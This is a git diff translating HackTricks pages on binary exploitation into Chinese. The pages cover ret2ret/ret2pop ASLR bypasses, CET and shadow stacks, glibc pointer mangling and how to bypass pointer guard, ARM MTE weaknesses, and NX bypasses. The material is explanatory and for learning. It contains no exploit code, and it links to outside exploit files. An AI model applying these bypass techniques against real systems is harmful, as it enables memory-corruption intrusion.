- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
+- 64 位,启用 ASLR 但没有 PIE,第一步是填充溢出直到 canary 的字节 0x00,然后调用 puts 并泄露它。使用 canary 创建一个 ROP gadget 来调用 puts 以泄露 GOT 中 puts 的地址,然后再调用 `system('/bin/sh')` 的 ROP gadget。
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- - 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
+- 64 位,启用 ASLR,没有 canary,主函数中的堆栈溢出来自子函数。ROP gadget 调用 puts 以泄露 GOT 中 puts 的地址,然后调用一个 gadget。
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md
index 19f39dac3..84178b53b 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md
@@ -4,27 +4,27 @@
## Ret2ret
-The main **goal** of this technique is to try to **bypass ASLR by abusing an existing pointer in the stack**.
+这个技术的主要**目标**是尝试**通过滥用栈中现有指针来绕过 ASLR**。
-Basically, stack overflows are usually caused by strings, and **strings end with a null byte at the end** in memory. This allows to try to reduce the place pointed by na existing pointer already existing n the stack. So if the stack contained `0xbfffffdd`, this overflow could transform it into `0xbfffff00` (note the last zeroed byte).
+基本上,栈溢出通常是由字符串引起的,而**字符串在内存中以一个空字节结尾**。这允许尝试减少由栈中现有指针指向的位置。因此,如果栈包含 `0xbfffffdd`,这个溢出可以将其转换为 `0xbfffff00`(注意最后一个零字节)。
-If that address points to our shellcode in the stack, it's possible to make the flow reach that address by **adding addresses to the `ret` instruction** util this one is reached.
+如果该地址指向我们在栈中的 shellcode,可以通过**向 `ret` 指令添加地址**使流程到达该地址,直到到达该地址。
-Therefore the attack would be like this:
+因此,攻击将是这样的:
- NOP sled
- Shellcode
-- Overwrite the stack from the EIP with **addresses to `ret`** (RET sled)
-- 0x00 added by the string modifying an address from the stack making it point to the NOP sled
+- 从 EIP 覆盖栈,使用**指向 `ret` 的地址**(RET sled)
+- 由字符串添加的 0x00 修改栈中的一个地址,使其指向 NOP sled
-Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) you can see an example of a vulnerable binary and [**in this one**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) the exploit.
+通过[**这个链接**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c)你可以看到一个易受攻击的二进制文件,和[**这个链接**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c)中的利用。
## Ret2pop
-In case you can find a **perfect pointer in the stack that you don't want to modify** (in `ret2ret` we changes the final lowest byte to `0x00`), you can perform the same `ret2ret` attack, but the **length of the RET sled must be shorted by 1** (so the final `0x00` overwrites the data just before the perfect pointer), and the **last** address of the RET sled must point to **`pop ; ret`**.\
-This way, the **data before the perfect pointer will be removed** from the stack (this is the data affected by the `0x00`) and the **final `ret` will point to the perfect address** in the stack without any change.
+如果你能找到一个**完美的指针在栈中而不想修改**(在 `ret2ret` 中我们将最后一个最低字节更改为 `0x00`),你可以执行相同的 `ret2ret` 攻击,但**RET sled 的长度必须缩短 1**(因此最后的 `0x00` 覆盖完美指针之前的数据),并且**RET sled 的最后**地址必须指向**`pop ; ret`**。\
+这样,**完美指针之前的数据将从栈中移除**(这是受 `0x00` 影响的数据),并且**最终的 `ret` 将指向栈中的完美地址**而没有任何更改。
-Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) you can see an example of a vulnerable binary and [**in this one** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)the exploit.
+通过[**这个链接**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c)你可以看到一个易受攻击的二进制文件,和[**这个链接**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)中的利用。
## References
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md b/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md
index 22e1edbc2..7c6b372d5 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md
@@ -2,24 +2,24 @@
{{#include ../../banners/hacktricks-training.md}}
-## Control Flow Enforcement Technology (CET)
+## 控制流强制技术 (CET)
-**CET** is a security feature implemented at the hardware level, designed to thwart common control-flow hijacking attacks such as **Return-Oriented Programming (ROP)** and **Jump-Oriented Programming (JOP)**. These types of attacks manipulate the execution flow of a program to execute malicious code or to chain together pieces of benign code in a way that performs a malicious action.
+**CET** 是一种在硬件级别实现的安全特性,旨在阻止常见的控制流劫持攻击,如 **返回导向编程 (ROP)** 和 **跳转导向编程 (JOP)**。这些类型的攻击操纵程序的执行流,以执行恶意代码或以某种方式将无害代码片段链接在一起,从而执行恶意操作。
-CET introduces two main features: **Indirect Branch Tracking (IBT)** and **Shadow Stack**.
+CET 引入了两个主要特性:**间接分支跟踪 (IBT)** 和 **影子栈**。
-- **IBT** ensures that indirect jumps and calls are made to valid targets, which are marked explicitly as legal destinations for indirect branches. This is achieved through the use of a new instruction set that marks valid targets, thus preventing attackers from diverting the control flow to arbitrary locations.
-- **Shadow Stack** is a mechanism that provides integrity for return addresses. It keeps a secured, hidden copy of return addresses separate from the regular call stack. When a function returns, the return address is validated against the shadow stack, preventing attackers from overwriting return addresses on the stack to hijack the control flow.
+- **IBT** 确保间接跳转和调用仅指向有效目标,这些目标被明确标记为间接分支的合法目的地。这是通过使用一组新的指令集来实现的,该指令集标记有效目标,从而防止攻击者将控制流转移到任意位置。
+- **影子栈** 是一种提供返回地址完整性的机制。它保持一个安全的、隐藏的返回地址副本,与常规调用栈分开。当函数返回时,返回地址会与影子栈进行验证,从而防止攻击者覆盖栈上的返回地址以劫持控制流。
-## Shadow Stack
+## 影子栈
-The **shadow stack** is a **dedicated stack used solely for storing return addresses**. It works alongside the regular stack but is protected and hidden from normal program execution, making it difficult for attackers to tamper with. The primary goal of the shadow stack is to ensure that any modifications to return addresses on the conventional stack are detected before they can be used, effectively mitigating ROP attacks.
+**影子栈** 是一个 **专门用于存储返回地址的栈**。它与常规栈一起工作,但受到保护并隐藏于正常程序执行之外,使攻击者难以篡改。影子栈的主要目标是确保对常规栈上返回地址的任何修改在使用之前都能被检测到,有效减轻 ROP 攻击。
-## How CET and Shadow Stack Prevent Attacks
+## CET 和影子栈如何防止攻击
-**ROP and JOP attacks** rely on the ability to hijack the control flow of an application by leveraging vulnerabilities that allow them to overwrite pointers or return addresses on the stack. By directing the flow to sequences of existing code gadgets or return-oriented programming gadgets, attackers can execute arbitrary code.
+**ROP 和 JOP 攻击** 依赖于劫持应用程序控制流的能力,利用允许它们覆盖栈上指针或返回地址的漏洞。通过将流引导到现有代码小工具或返回导向编程小工具的序列,攻击者可以执行任意代码。
-- **CET's IBT** feature makes these attacks significantly harder by ensuring that indirect branches can only jump to addresses that have been explicitly marked as valid targets. This makes it impossible for attackers to execute arbitrary gadgets spread across the binary.
-- The **shadow stack**, on the other hand, ensures that even if an attacker can overwrite a return address on the normal stack, the **discrepancy will be detected** when comparing the corrupted address with the secure copy stored in the shadow stack upon returning from a function. If the addresses don't match, the program can terminate or take other security measures, preventing the attack from succeeding.
+- **CET 的 IBT** 特性通过确保间接分支只能跳转到被明确标记为有效目标的地址,使这些攻击变得更加困难。这使得攻击者无法执行分散在二进制文件中的任意小工具。
+- 另一方面,**影子栈** 确保即使攻击者能够覆盖正常栈上的返回地址,在从函数返回时,与存储在影子栈中的安全副本进行比较时,**差异将被检测到**。如果地址不匹配,程序可以终止或采取其他安全措施,从而防止攻击成功。
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
index cacfd7f2f..c34b7dc69 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
@@ -4,41 +4,41 @@
## Chunk Alignment Enforcement
-**Malloc** allocates memory in **8-byte (32-bit) or 16-byte (64-bit) groupings**. This means the end of chunks in 32-bit systems should align with **0x8**, and in 64-bit systems with **0x0**. The security feature checks that each chunk **aligns correctly** at these specific locations before using a pointer from a bin.
+**Malloc** 在 **8字节(32位)或16字节(64位)分组**中分配内存。这意味着在32位系统中,块的结束应与 **0x8** 对齐,而在64位系统中应与 **0x0** 对齐。安全特性检查每个块在使用来自 bin 的指针之前是否在这些特定位置 **正确对齐**。
### Security Benefits
-The enforcement of chunk alignment in 64-bit systems significantly enhances Malloc's security by **limiting the placement of fake chunks to only 1 out of every 16 addresses**. This complicates exploitation efforts, especially in scenarios where the user has limited control over input values, making attacks more complex and harder to execute successfully.
+在64位系统中强制块对齐显著增强了 Malloc 的安全性,通过 **将假块的放置限制为每16个地址中的1个**。这使得利用攻击变得更加复杂,尤其是在用户对输入值的控制有限的情况下,使攻击更复杂且更难成功执行。
- **Fastbin Attack on \_\_malloc_hook**
-The new alignment rules in Malloc also thwart a classic attack involving the `__malloc_hook`. Previously, attackers could manipulate chunk sizes to **overwrite this function pointer** and gain **code execution**. Now, the strict alignment requirement ensures that such manipulations are no longer viable, closing a common exploitation route and enhancing overall security.
+Malloc 中的新对齐规则也阻止了涉及 `__malloc_hook` 的经典攻击。之前,攻击者可以操纵块大小以 **覆盖此函数指针** 并获得 **代码执行**。现在,严格的对齐要求确保此类操纵不再可行,关闭了一个常见的利用途径,增强了整体安全性。
## Pointer Mangling on fastbins and tcache
-**Pointer Mangling** is a security enhancement used to protect **fastbin and tcache Fd pointers** in memory management operations. This technique helps prevent certain types of memory exploit tactics, specifically those that do not require leaked memory information or that manipulate memory locations directly relative to known positions (relative **overwrites**).
+**Pointer Mangling** 是一种安全增强,用于保护内存管理操作中的 **fastbin 和 tcache Fd 指针**。该技术有助于防止某些类型的内存利用战术,特别是那些不需要泄漏内存信息或直接相对于已知位置操纵内存位置(相对 **覆盖**)的战术。
-The core of this technique is an obfuscation formula:
+该技术的核心是一个混淆公式:
**`New_Ptr = (L >> 12) XOR P`**
-- **L** is the **Storage Location** of the pointer.
-- **P** is the actual **fastbin/tcache Fd Pointer**.
+- **L** 是指针的 **存储位置**。
+- **P** 是实际的 **fastbin/tcache Fd 指针**。
-The reason for the bitwise shift of the storage location (L) by 12 bits to the right before the XOR operation is critical. This manipulation addresses a vulnerability inherent in the deterministic nature of the least significant 12 bits of memory addresses, which are typically predictable due to system architecture constraints. By shifting the bits, the predictable portion is moved out of the equation, enhancing the randomness of the new, mangled pointer and thereby safeguarding against exploits that rely on the predictability of these bits.
+在 XOR 操作之前将存储位置 (L) 向右移动12位的位移是关键。这种操纵解决了内存地址最低有效12位的确定性特性所固有的漏洞,这些位通常由于系统架构限制而可预测。通过移动位,预测部分被移出方程,从而增强了新混淆指针的随机性,从而保护免受依赖这些位可预测性的利用。
-This mangled pointer leverages the existing randomness provided by **Address Space Layout Randomization (ASLR)**, which randomizes addresses used by programs to make it difficult for attackers to predict the memory layout of a process.
+这个混淆指针利用了 **地址空间布局随机化(ASLR)** 提供的现有随机性,ASLR 随机化程序使用的地址,使攻击者难以预测进程的内存布局。
-**Demangling** the pointer to retrieve the original address involves using the same XOR operation. Here, the mangled pointer is treated as P in the formula, and when XORed with the unchanged storage location (L), it results in the original pointer being revealed. This symmetry in mangling and demangling ensures that the system can efficiently encode and decode pointers without significant overhead, while substantially increasing security against attacks that manipulate memory pointers.
+**Demangling** 指针以检索原始地址涉及使用相同的 XOR 操作。在这里,混淆指针被视为公式中的 P,当与未更改的存储位置 (L) 进行 XOR 时,结果是原始指针被揭示。这种混淆和解混淆的对称性确保系统能够高效地编码和解码指针,而不会产生显著的开销,同时大幅提高了对操纵内存指针攻击的安全性。
### Security Benefits
-Pointer mangling aims to **prevent partial and full pointer overwrites in heap** management, a significant enhancement in security. This feature impacts exploit techniques in several ways:
+指针混淆旨在 **防止堆管理中的部分和完整指针覆盖**,这是安全性的重要增强。此功能以多种方式影响利用技术:
-1. **Prevention of Bye Byte Relative Overwrites**: Previously, attackers could change part of a pointer to **redirect heap chunks to different locations without knowing exact addresses**, a technique evident in the leakless **House of Roman** exploit. With pointer mangling, such relative overwrites **without a heap leak now require brute forcing**, drastically reducing their likelihood of success.
-2. **Increased Difficulty of Tcache Bin/Fastbin Attacks**: Common attacks that overwrite function pointers (like `__malloc_hook`) by manipulating fastbin or tcache entries are hindered. For example, an attack might involve leaking a LibC address, freeing a chunk into the tcache bin, and then overwriting the Fd pointer to redirect it to `__malloc_hook` for arbitrary code execution. With pointer mangling, these pointers must be correctly mangled, **necessitating a heap leak for accurate manipulation**, thereby elevating the exploitation barrier.
-3. **Requirement for Heap Leaks in Non-Heap Locations**: Creating a fake chunk in non-heap areas (like the stack, .bss section, or PLT/GOT) now also **requires a heap leak** due to the need for pointer mangling. This extends the complexity of exploiting these areas, similar to the requirement for manipulating LibC addresses.
-4. **Leaking Heap Addresses Becomes More Challenging**: Pointer mangling restricts the usefulness of Fd pointers in fastbin and tcache bins as sources for heap address leaks. However, pointers in unsorted, small, and large bins remain unmangled, thus still usable for leaking addresses. This shift pushes attackers to explore these bins for exploitable information, though some techniques may still allow for demangling pointers before a leak, albeit with constraints.
+1. **防止字节相对覆盖**:之前,攻击者可以更改指针的一部分以 **在不知道确切地址的情况下将堆块重定向到不同位置**,这种技术在无泄漏的 **House of Roman** 利用中显而易见。通过指针混淆,此类相对覆盖 **在没有堆泄漏的情况下现在需要暴力破解**,大幅降低了成功的可能性。
+2. **增加 Tcache Bin/Fastbin 攻击的难度**:通过操纵 fastbin 或 tcache 条目来覆盖函数指针(如 `__malloc_hook`)的常见攻击受到阻碍。例如,一种攻击可能涉及泄漏 LibC 地址,将一个块释放到 tcache bin 中,然后覆盖 Fd 指针以将其重定向到 `__malloc_hook` 以进行任意代码执行。通过指针混淆,这些指针必须正确混淆,**需要堆泄漏以进行准确操纵**,从而提高了利用的门槛。
+3. **在非堆位置需要堆泄漏**:在非堆区域(如栈、.bss 段或 PLT/GOT)创建假块现在也 **需要堆泄漏**,因为需要指针混淆。这增加了利用这些区域的复杂性,类似于操纵 LibC 地址的要求。
+4. **泄漏堆地址变得更加困难**:指针混淆限制了 Fd 指针在 fastbin 和 tcache bins 中作为堆地址泄漏源的有效性。然而,未排序、小型和大型 bins 中的指针仍然未混淆,因此仍可用于泄漏地址。这一变化迫使攻击者探索这些 bins 以获取可利用的信息,尽管某些技术仍可能允许在泄漏之前解混淆指针,但有一定的限制。
### **Demangling Pointers with a Heap Leak**
@@ -47,34 +47,34 @@ Pointer mangling aims to **prevent partial and full pointer overwrites in heap**
### Algorithm Overview
-The formula used for mangling and demangling pointers is:
+用于混淆和解混淆指针的公式是:
**`New_Ptr = (L >> 12) XOR P`**
-Where **L** is the storage location and **P** is the Fd pointer. When **L** is shifted right by 12 bits, it exposes the most significant bits of **P**, due to the nature of **XOR**, which outputs 0 when bits are XORed with themselves.
+其中 **L** 是存储位置,**P** 是 Fd 指针。当 **L** 向右移动12位时,它暴露了 **P** 的最高有效位,由于 **XOR** 的特性,当位与自身进行 XOR 时输出为0。
**Key Steps in the Algorithm:**
-1. **Initial Leak of the Most Significant Bits**: By XORing the shifted **L** with **P**, you effectively get the top 12 bits of **P** because the shifted portion of **L** will be zero, leaving **P's** corresponding bits unchanged.
-2. **Recovery of Pointer Bits**: Since XOR is reversible, knowing the result and one of the operands allows you to compute the other operand. This property is used to deduce the entire set of bits for **P** by successively XORing known sets of bits with parts of the mangled pointer.
-3. **Iterative Demangling**: The process is repeated, each time using the newly discovered bits of **P** from the previous step to decode the next segment of the mangled pointer, until all bits are recovered.
-4. **Handling Deterministic Bits**: The final 12 bits of **L** are lost due to the shift, but they are deterministic and can be reconstructed post-process.
+1. **初始泄漏最高有效位**:通过将移位的 **L** 与 **P** 进行 XOR,您有效地获得了 **P** 的前12位,因为移位部分的 **L** 将为零,留下 **P** 的相应位不变。
+2. **恢复指针位**:由于 XOR 是可逆的,知道结果和其中一个操作数可以让您计算另一个操作数。这个特性用于通过将已知的位集与混淆指针的部分进行逐步 XOR 来推导出 **P** 的整个位集。
+3. **迭代解混淆**:该过程重复进行,每次使用从上一步中发现的 **P** 的新位来解码混淆指针的下一个部分,直到所有位都被恢复。
+4. **处理确定性位**:由于移位,**L** 的最后12位丢失,但它们是确定性的,可以在后处理时重建。
-You can find an implementation of this algorithm here: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
+您可以在这里找到该算法的实现:[https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
## Pointer Guard
-Pointer guard is an exploit mitigation technique used in glibc to protect stored function pointers, particularly those registered by library calls such as `atexit()`. This protection involves scrambling the pointers by XORing them with a secret stored in the thread data (`fs:0x30`) and applying a bitwise rotation. This mechanism aims to prevent attackers from hijacking control flow by overwriting function pointers.
+Pointer guard 是一种在 glibc 中使用的利用缓解技术,用于保护存储的函数指针,特别是那些由库调用(如 `atexit()`)注册的指针。该保护涉及通过将指针与存储在线程数据中的秘密(`fs:0x30`)进行 XOR 并应用位旋转来打乱指针。该机制旨在防止攻击者通过覆盖函数指针来劫持控制流。
### **Bypassing Pointer Guard with a leak**
-1. **Understanding Pointer Guard Operations:** The scrambling (mangling) of pointers is done using the `PTR_MANGLE` macro which XORs the pointer with a 64-bit secret and then performs a left rotation of 0x11 bits. The reverse operation for recovering the original pointer is handled by `PTR_DEMANGLE`.
-2. **Attack Strategy:** The attack is based on a known-plaintext approach, where the attacker needs to know both the original and the mangled versions of a pointer to deduce the secret used for mangling.
-3. **Exploiting Known Plaintexts:**
- - **Identifying Fixed Function Pointers:** By examining glibc source code or initialized function pointer tables (like `__libc_pthread_functions`), an attacker can find predictable function pointers.
- - **Computing the Secret:** Using a known function pointer such as `__pthread_attr_destroy` and its mangled version from the function pointer table, the secret can be calculated by reverse rotating (right rotation) the mangled pointer and then XORing it with the address of the function.
-4. **Alternative Plaintexts:** The attacker can also experiment with mangling pointers with known values like 0 or -1 to see if these produce identifiable patterns in memory, potentially revealing the secret when these patterns are found in memory dumps.
-5. **Practical Application:** After computing the secret, an attacker can manipulate pointers in a controlled manner, essentially bypassing the Pointer Guard protection in a multithreaded application with knowledge of the libc base address and an ability to read arbitrary memory locations.
+1. **理解 Pointer Guard 操作**:指针的打乱(混淆)是使用 `PTR_MANGLE` 宏完成的,该宏将指针与64位秘密进行 XOR,然后执行0x11位的左旋转。恢复原始指针的反操作由 `PTR_DEMANGLE` 处理。
+2. **攻击策略**:该攻击基于已知明文的方法,攻击者需要知道指针的原始版本和混淆版本,以推导出用于混淆的秘密。
+3. **利用已知明文**:
+- **识别固定函数指针**:通过检查 glibc 源代码或初始化的函数指针表(如 `__libc_pthread_functions`),攻击者可以找到可预测的函数指针。
+- **计算秘密**:使用已知的函数指针(如 `__pthread_attr_destroy`)及其来自函数指针表的混淆版本,可以通过反向旋转(右旋转)混淆指针,然后与函数的地址进行 XOR 来计算秘密。
+4. **替代明文**:攻击者还可以尝试使用已知值(如0或-1)混淆指针,以查看这些是否在内存中产生可识别的模式,当这些模式在内存转储中找到时,可能会揭示秘密。
+5. **实际应用**:在计算出秘密后,攻击者可以以受控的方式操纵指针,从而在了解 libc 基地址和能够读取任意内存位置的情况下,基本上绕过多线程应用中的 Pointer Guard 保护。
## References
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
index 43980bbca..baca1b5a5 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
@@ -2,82 +2,80 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-**Memory Tagging Extension (MTE)** is designed to enhance software reliability and security by **detecting and preventing memory-related errors**, such as buffer overflows and use-after-free vulnerabilities. MTE, as part of the **ARM** architecture, provides a mechanism to attach a **small tag to each memory allocation** and a **corresponding tag to each pointer** referencing that memory. This approach allows for the detection of illegal memory accesses at runtime, significantly reducing the risk of exploiting such vulnerabilities for executing arbitrary code.
+**Memory Tagging Extension (MTE)** 旨在通过 **检测和防止与内存相关的错误** 来增强软件的可靠性和安全性,例如缓冲区溢出和使用后释放漏洞。MTE 作为 **ARM** 架构的一部分,提供了一种机制,将 **小标签附加到每个内存分配** 上,并为引用该内存的 **每个指针分配一个相应的标签**。这种方法允许在运行时检测非法内存访问,显著降低利用这些漏洞执行任意代码的风险。
-### **How Memory Tagging Extension Works**
+### **Memory Tagging Extension 的工作原理**
-MTE operates by **dividing memory into small, fixed-size blocks, with each block assigned a tag,** typically a few bits in size.
+MTE 通过 **将内存划分为小的固定大小块,每个块分配一个标签** 来操作,通常标签的大小为几位。
-When a pointer is created to point to that memory, it gets the same tag. This tag is stored in the **unused bits of a memory pointer**, effectively linking the pointer to its corresponding memory block.
+当创建一个指针指向该内存时,它会获得相同的标签。这个标签存储在 **内存指针的未使用位中**,有效地将指针与其对应的内存块链接起来。
-When a program accesses memory through a pointer, the MTE hardware checks that the **pointer's tag matches the memory block's tag**. If the tags **do not match**, it indicates an **illegal memory access.**
+当程序通过指针访问内存时,MTE 硬件会检查 **指针的标签是否与内存块的标签匹配**。如果标签 **不匹配**,则表示 **非法内存访问**。
-### MTE Pointer Tags
+### MTE 指针标签
-Tags inside a pointer are stored in 4 bits inside the top byte:
+指针内部的标签存储在顶部字节的 4 位中:
-Therefore, this allows up to **16 different tag values**.
+因此,这允许最多 **16 种不同的标签值**。
-### MTE Memory Tags
+### MTE 内存标签
-Every **16B of physical memory** have a corresponding **memory tag**.
+每 **16B 的物理内存** 都有一个相应的 **内存标签**。
-The memory tags are stored in a **dedicated RAM region** (not accessible for normal usage). Having 4bits tags for every 16B memory tags up to 3% of RAM.
-
-ARM introduces the following instructions to manipulate these tags in the dedicated RAM memory:
+内存标签存储在 **专用 RAM 区域**(不供正常使用)。每 16B 内存标签有 4 位标签,最多占用 3% 的 RAM。
+ARM 引入了以下指令来操作这些专用 RAM 内存中的标签:
```
STG [], # Store Allocation (memory) Tag
LDG , [] Load Allocatoin (memory) Tag
IRG , Insert Random [pointer] Tag
...
```
+## 检查模式
-## Checking Modes
+### 同步
-### Sync
+CPU 在 **指令执行期间** 检查标签,如果存在不匹配,它会引发异常。\
+这是最慢且最安全的模式。
-The CPU check the tags **during the instruction executing**, if there is a mismatch, it raises an exception.\
-This is the slowest and most secure.
+### 异步
-### Async
+CPU **异步** 检查标签,当发现不匹配时,它会在系统寄存器之一中设置异常位。它比前一种模式 **更快**,但 **无法指出** 导致不匹配的确切指令,并且不会立即引发异常,给攻击者一些时间来完成攻击。
-The CPU check the tags **asynchronously**, and when a mismatch is found it sets an exception bit in one of the system registers. It's **faster** than the previous one but it's **unable to point out** the exact instruction that cause the mismatch and it doesn't raise the exception immediately, giving some time to the attacker to complete his attack.
-
-### Mixed
+### 混合
???
-## Implementation & Detection Examples
+## 实现与检测示例
-Called Hardware Tag-Based KASAN, MTE-based KASAN or in-kernel MTE.\
-The kernel allocators (like `kmalloc`) will **call this module** which will prepare the tag to use (randomly) attach it to the kernel space allocated and to the returned pointer.
+称为硬件标签基础的 KASAN、基于 MTE 的 KASAN 或内核中的 MTE。\
+内核分配器(如 `kmalloc`)将 **调用此模块**,该模块将准备使用的标签(随机)附加到分配的内核空间和返回的指针。
-Note that it'll **only mark enough memory granules** (16B each) for the requested size. So if the requested size was 35 and a slab of 60B was given, it'll mark the first 16\*3 = 48B with this tag and the **rest** will be **marked** with a so-called **invalid tag (0xE)**.
+请注意,它将 **仅标记足够的内存粒度**(每个 16B)以满足请求的大小。因此,如果请求的大小为 35,而给定的块为 60B,它将用此标签标记前 16\*3 = 48B,**其余部分**将被 **标记** 为所谓的 **无效标签 (0xE)**。
-The tag **0xF** is the **match all pointer**. A memory with this pointer allows **any tag to be used** to access its memory (no mismatches). This could prevent MET from detecting an attack if this tags is being used in the attacked memory.
+标签 **0xF** 是 **匹配所有指针**。具有此指针的内存允许 **使用任何标签** 访问其内存(没有不匹配)。如果在被攻击的内存中使用此标签,可能会阻止 MET 检测到攻击。
-Therefore there are only **14 value**s that can be used to generate tags as 0xE and 0xF are reserved, giving a probability of **reusing tags** to 1/17 -> around **7%**.
+因此,只有 **14 个值** 可以用于生成标签,因为 0xE 和 0xF 是保留的,这使得 **重用标签** 的概率为 1/17 -> 大约 **7%**。
-If the kernel access to the **invalid tag granule**, the **mismatch** will be **detected**. If it access another memory location, if the **memory has a different tag** (or the invalid tag) the mismatch will be **detected.** If the attacker is lucky and the memory is using the same tag, it won't be detected. Chances are around 7%
+如果内核访问 **无效标签粒度**,将会 **检测到不匹配**。如果访问另一个内存位置,如果 **内存有不同的标签**(或无效标签),将会 **检测到不匹配**。如果攻击者运气好,内存使用相同的标签,则不会被检测到。几率大约为 7%。
-Another bug occurs in the **last granule** of the allocated memory. If the application requested 35B, it was given the granule from 32 to 48. Therefore, the **bytes from 36 til 47 are using the same tag** but they weren't requested. If the attacker access **these extra bytes, this isn't detected**.
+另一个错误发生在分配内存的 **最后粒度**。如果应用程序请求 35B,它将获得从 32 到 48 的粒度。因此,**从 36 到 47 的字节使用相同的标签**,但它们并未被请求。如果攻击者访问 **这些额外字节,将不会被检测到**。
-When **`kfree()`** is executed, the memory is retagged with the invalid memory tag, so in a **use-after-free**, when the memory is accessed again, the **mismatch is detected**.
+当 **`kfree()`** 被执行时,内存会被重新标记为无效内存标签,因此在 **使用后释放** 的情况下,当再次访问内存时,将会 **检测到不匹配**。
-However, in a use-after-free, if the same **chunk is reallocated again with the SAME tag** as previously, an attacker will be able to use this access and this won't be detected (around 7% chance).
+然而,在使用后释放的情况下,如果同一 **块再次以相同的标签** 重新分配,攻击者将能够利用此访问,并且不会被检测到(大约 7% 的机会)。
-Moreover, only **`slab` and `page_alloc`** uses tagged memory but in the future this will also be used in `vmalloc`, `stack` and `globals` (at the moment of the video these can still be abused).
+此外,只有 **`slab` 和 `page_alloc`** 使用标记内存,但将来这也将在 `vmalloc`、`stack` 和 `globals` 中使用(在视频时,这些仍然可以被滥用)。
-When a **mismatch is detected** the kernel will **panic** to prevent further exploitation and retries of the exploit (MTE doesn't have false positives).
+当 **检测到不匹配** 时,内核将 **恐慌** 以防止进一步的利用和攻击重试(MTE 没有误报)。
-## References
+## 参考文献
- [https://www.youtube.com/watch?v=UwMt0e_dC_Q](https://www.youtube.com/watch?v=UwMt0e_dC_Q)
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md
index 376dfe6c4..9650fc10c 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md
@@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-The **No-Execute (NX)** bit, also known as **Execute Disable (XD)** in Intel terminology, is a hardware-based security feature designed to **mitigate** the effects of **buffer overflow** attacks. When implemented and enabled, it distinguishes between memory regions that are intended for **executable code** and those meant for **data**, such as the **stack** and **heap**. The core idea is to prevent an attacker from executing malicious code through buffer overflow vulnerabilities by putting the malicious code in the stack for example and directing the execution flow to it.
+**No-Execute (NX)** 位,也称为 **Execute Disable (XD)** 在英特尔术语中,是一种基于硬件的安全特性,旨在 **减轻** **缓冲区溢出** 攻击的影响。当实施并启用时,它区分了用于 **可执行代码** 的内存区域和用于 **数据** 的区域,例如 **栈** 和 **堆**。核心思想是通过将恶意代码放入栈中并将执行流指向它,来防止攻击者通过缓冲区溢出漏洞执行恶意代码。
-## Bypasses
+## 绕过方法
-- It's possible to use techniques such as [**ROP**](../rop-return-oriented-programing/) **to bypass** this protection by executing chunks of executable code already present in the binary.
- - [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
- - [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
- - **Ret2...**
